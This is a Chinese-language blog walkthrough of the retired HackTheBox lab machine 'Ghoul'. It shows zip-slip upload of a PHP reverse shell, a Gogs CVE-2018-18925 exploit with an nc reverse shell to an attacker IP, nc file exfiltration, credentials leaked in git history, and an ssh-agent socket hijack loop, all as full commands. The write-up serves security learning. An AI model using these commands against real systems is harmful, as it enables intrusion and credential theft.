• HTB-靶机-Ghoul


    本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

    靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.101

    本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

    执行命令 autorecon 10.10.10.101 -o ./Ghoul-autorecon

    此靶机难度不小,官方想显示难度如下

    根据扫描结果开放了4个端口,根据以往的经验,难度较大的靶机会有docker环境,目的让你从docker环境逃逸跳转到宿主机拿到最终的root.txt,这里我们先看下80端口

    把上面的功能都点击了一把,没发现啥鸡毛东西,直接目录爆破看看

    发现了重要敏感目录,具体如下

    其他访问都是现实403,我们先放着看下开放的8080端口,访问8080端口的时候我还是绑定hosts 访问,这里访问的时候显示401认证,我尝试了弱口令admin/admin登录此成功,显示如下界面

    发现了上传功能, 上传照片显示成功,但是通过上面的爆破目录uploads显示404,不在此处浪费时间,我们看看另一个上传点

    此上传点可以上传zip压缩文件,得知存在zip slip漏洞,具体参考:Zip Slip Vulnerability | Snyk 对应的exploit GitHub - ptoomey3/evilarc: Create tar/zip archives that can exploit directory traversal vulnerabilities

    漏洞zip-slip详情
    https://snyk.io/research/zip-slip-vulnerability
    对应的exploit
    https://github.com/ptoomey3/evilarc
    反弹shell代码
    wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
    
    python evilarc.py -o unix -d 2 -p var/www/html/archives revshell.php
    curl http://10.10.10.101/archives/revshell.php
    nc -lvnp 8833

    拿到权限通过枚举当前系统的信息,得到如下

    发现3个私钥文件,有一个私钥文件加了密码,猜测加了密码的就是有可能是权限较大的用户,回看前面访问的web页面10.10.10.101/secret.php得到私钥密码ILoveTouka 所以直接将私钥复制到本地kali更改权限600直接连接上去

    通过 查看当前用户的.ssh目录发现和另外一台主机是互信的,于是直接连接上去

    进入到此主机进行C段探测

    for i in {1..255}; do ping -c 1 172.18.0.$i; done | grep 'ttl='

     发现172.18.0.2存在gods,开放3000端口,将其3000端口通过端口转发到本地kali

    通过ssh进行本地端口转发
    ssh -L 3000:172.18.0.2:3000 kaneki_pub@172.20.0.150
    
    本地kali执行,将3000端口转发到本地kali
    ssh -L 3000:127.0.0.1:3000 -i kaneki.key kaneki@10.10.10.101

    Gogs漏洞详情
    https://www.anquanke.com/post/id/163575
    https://nvd.nist.gov/vuln/detail/CVE-2018-18925
    对应Gogs的exploit
    https://github.com/TheZ3ro/gogsownz

    直接利用

    python3 gogsownz.py -v  http://127.0.0.1:3000/ -C 'AogiriTest':'test@aogiri123' -n i_like_gogits --rce 'nc 10.10.14.3 1337 -e /bin/sh' --cleanup

    成功反弹shell,在此shell的基础上写入公钥,然后通过私钥连接过去

    拿到root权限之后到root根目录发现压缩文件,通过nc的方式将其下载到kali本地

    nc传文件
    nc -lvnp 5555 > aogiri-app.7z
    nc 10.10.14.3 5555 < aogiri-app.7z
    
    解压
    7z x aogiri-app.7z

    在kali本地查看解压的文件内容

    到解压后的文件夹里面执行下面命令查看更改提交日志
    git log -p # -p is for pagination
    
     spring.datasource.url=jdbc:mysql://172.18.0.1:3306/db
    -spring.datasource.username=root
    -spring.datasource.password=root
    +spring.datasource.username=kaneki
    +spring.datasource.password=jT7Hr$.[nF.)c)4C
    
    git reflog -p
    用法参考:https://git-scm.com/docs/git-reflog
    
     server.port=8080
     spring.datasource.url=jdbc:mysql://localhost:3306/db
    -spring.datasource.username=kaneki
    -spring.datasource.password=7^Grc%C7xEQ?tb4
    +spring.datasource.username=root
    +spring.datasource.password=g_xEN$ZuWD7hJf2G
    
    发现上面的密码信息,一个一个试,确认密码7^Grc%C7xEQ?tb4可以切换root

    知道了密码切换到root权限

    发现有个计划任务连接IP地址172.18.0.1,确认可以通过ssh-agent可以直接进行登录,参考:https://www.ssh.com/ssh/agent 这里测试由于生成的agent信息很快就会被删除了,所以需要使用循环的方式拿到权限

    while true; do
    
      export pid=$(ps -u kaneki_adm | grep ssh$ | tr -s ' ' | cut -d' ' -f2);
      if [ ! -z $pid ]; then
        echo "[+] Found pid for kaneki_adm ssh process: $pid";
        export SSH_AUTH_SOCK=$(su kaneki_adm -c 'cat /proc/${pid}/environ' | sed 's/x0/
    /g' | grep SSH_AUTH_SOCK | cut -d'=' -f2);
        echo "[+] Found ssh auth socket: $SSH_AUTH_SOCKET";
        echo "[*] sshing to target";
        ssh root@172.18.0.1 -p 2222;
        break;
      fi;
      sleep 5;
     done 

    最终拿到权限获取root.txt

  • 相关阅读:
    linux使用windows中编辑的文件,格式问题
    模拟退火算法c++
    progress第三方框架和二维码第三方框架的选择
    iOS 初始化项目内容
    github上使用SSH和gitignore
    wordpress 如何设置自定义的首页
    wordpress 删除底部"自豪地采用 WordPress"
    masonry注意事项
    iOS修改工程名
    iOS版本更新在APP中直接访问AppStore
  • 原文地址:https://www.cnblogs.com/autopwn/p/14242762.html
Copyright © 2020-2023  润新知